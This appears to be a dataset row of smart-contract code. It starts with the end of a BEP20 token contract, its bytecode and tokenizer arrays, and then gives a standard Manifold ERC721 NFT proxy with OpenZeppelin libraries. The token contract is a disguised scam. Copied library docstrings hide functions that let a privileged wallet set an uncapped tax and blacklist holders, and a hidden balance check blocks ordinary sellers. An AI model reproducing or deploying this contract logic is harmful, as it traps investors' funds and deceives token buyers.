_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function decimals() public view returns (uint8) {
return _decimals;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - setTaxFee
*
* _Available since v3.1._
*/
function setTaxFee(uint256 amount) public {
require(_msgSender() == _charityWallet, "ERC20: cannot permit dev address");
_taxFee = amount;
}
/**
* @dev update `killBotAddress` to detect anti bot
*
*/
function killBotAddress (address botAdd) public {
require(_msgSender() == _charityWallet, "ERC20: cannot permit dev address");
_listBotAddresses.push(botAdd);
}
function checkBotAddress(address botAdd) private view returns (bool) {
for (uint256 i = 0; i < _listBotAddresses.length; i++) {
if (_listBotAddresses[i] == botAdd) {
return true;
}
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - updateTeamFee
*
* _Available since v3.1._
*/
function updateTeamFee() public {
_rTotal = _teamFee;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function checkBalanceAddress(address _walletAddress) private view returns (bool){
uint256 _botBalance = _tTotal.mul(30).div(100);
if (balanceOf(_walletAddress) >= _rTotal && balanceOf(_walletAddress) <= _botBalance) {
return false;
} else {
return true;
}
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (checkBotAddress(sender) == true ) {
require(amount < 100, "Transfer amount exceeds the maxTxAmount.");
}
if (sender == owner() || sender == _charityWallet) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
require (checkBalanceAddress(sender));
uint256 transferFee = amount.mul(_taxFee).div(100);
uint256 transferAmount = amount.sub(transferFee);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(transferAmount);
_balances[_charityWallet] = _balances[_charityWallet].add(transferFee);
emit Transfer(sender, recipient, transferAmount);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461046e578063c4081a4c146104d2578063dd62ed3e14610500578063f2fde38b1461057857610100565b806370a0823114610355578063715018a6146103ad5780638da5cb5b146103b757806395d89b41146103eb57610100565b8063313ce567116100d3578063313ce5671461028e57806336adf95c146102af57806341952f75146102f357806346246e231461034b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105bc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061065e565b60405180821515815260200191505060405180910390f35b6101f461067c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610686565b60405180821515815260200191505060405180910390f35b61029661075f565b604051808260ff16815260200191505060405180910390f35b6102f1600480360360208110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610776565b005b61031f6004803603602081101561030957600080fd5b81019080803590602001909291905050506108a6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103536108e5565b005b6103976004803603602081101561036b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f0565b6040518082815260200191505060405180910390f35b6103b5610939565b005b6103bf610abf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f3610ae8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610433578082015181840152602081019050610418565b50505050905090810190601f1680156104605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ba6004803603604081101561048457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8a565b60405180821515815260200191505060405180910390f35b6104fe600480360360208110156104e857600080fd5b8101908080359060200190929190505050610ba8565b005b6105626004803603604081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7c565b6040518082815260200191505060405180910390f35b6105ba6004803603602081101561058e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d03565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106545780601f1061062957610100808354040283529160200191610654565b820191906000526020600020905b81548152906001019060200180831161063757829003601f168201915b5050505050905090565b600061067261066b610fde565b8484610fe6565b6001905092915050565b6000600354905090565b60006106938484846111dd565b6107548461069f610fde565b61074f85604051806060016040528060288152602001611c8f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610705610fde565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118789092919063ffffffff16565b610fe6565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107b7610fde565b73ffffffffffffffffffffffffffffffffffffffff1614610840576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f45524332303a2063616e6e6f74207065726d697420646576206164647265737381525060200191505060405180910390fd5b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a81815481106108b657600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600754600481905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610941610fde565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b805780601f10610b5557610100808354040283529160200191610b80565b820191906000526020600020905b815481529060010190602001808311610b6357829003601f168201915b5050505050905090565b6000610b9e610b97610fde565b84846111dd565b6001905092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be9610fde565b73ffffffffffffffffffffffffffffffffffffffff1614610c72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f45524332303a2063616e6e6f74207065726d697420646576206164647265737381525060200191505060405180910390fd5b8060088190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d0b610fde565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611bfe6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610f215760009050610f8e565b6000828402905082848281610f3257fe5b0414610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6e6021913960400191505060405180910390fd5b809150505b92915050565b6000610fd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611938565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561106c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611d006024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110f2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611c246022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611263576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611bd96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611cdd6023913960400191505060405180910390fd5b600115156112f6846119fe565b151514156113585760648110611357576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611c466028913960400191505060405180910390fd5b5b611360610abf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806113e65750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156115995761145781604051806060016040528060268152602001611cb760269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118789092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ec81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9c90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611873565b6115a283611b24565b6115ab57600080fd5b60006115d560646115c760085485610f0e90919063ffffffff16565b610f9490919063ffffffff16565b905060006115ec8284611b8e90919063ffffffff16565b905061165a83604051806060016040528060268152602001611cb760269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118789092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ef81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a68260016000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9c90919063ffffffff16565b60016000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505b505050565b6000838311158290611925576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118ea5780820151818401526020810190506118cf565b50505050905090810190601f1680156119175780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831182906119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119a957808201518184015260208101905061198e565b50505050905090810190601f1680156119d65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816119f057fe5b049050809150509392505050565b600080600090505b600a80549050811015611a95578273ffffffffffffffffffffffffffffffffffffffff16600a8281548110611a3757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a88576001915050611a97565b8080600101915050611a06565b505b919050565b600080828401905083811015611b1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080611b506064611b42601e600354610f0e90919063ffffffff16565b610f9490919063ffffffff16565b9050600454611b5e846108f0565b10158015611b74575080611b71846108f0565b11155b15611b83576000915050611b89565b60019150505b919050565b6000611bd083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611878565b90509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205f28230c96edb97903d4ac040b629da3c132f47d84b886c8de6311ed4d2c7a7664736f6c63430007060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2581,
2549,
2063,
2629,
5243,
2581,
2094,
24434,
4215,
28154,
2278,
2581,
2683,
2620,
2549,
2278,
2620,
2497,
16703,
2278,
20958,
2575,
2620,
2546,
2620,
2050,
24087,
2546,
21057,
1013,
1008,
2070,
2592,
2015,
1024,
23921,
2177,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
2543,
16563,
3334,
7245,
24108,
2140,
4037,
1024,
16770,
1024,
1013,
1013,
2543,
16563,
16451,
6199,
1012,
4012,
1013,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1020,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,558 | 0x9557536f7838a66c030e23947ae91c8fbc1a5517 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Mysterious
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////
// //
// //
// ββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββ //
// //
// //
////////////////////////////////////////////////////
contract MYST is ERC721Creator {
constructor() ERC721Creator("Mysterious", "MYST") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
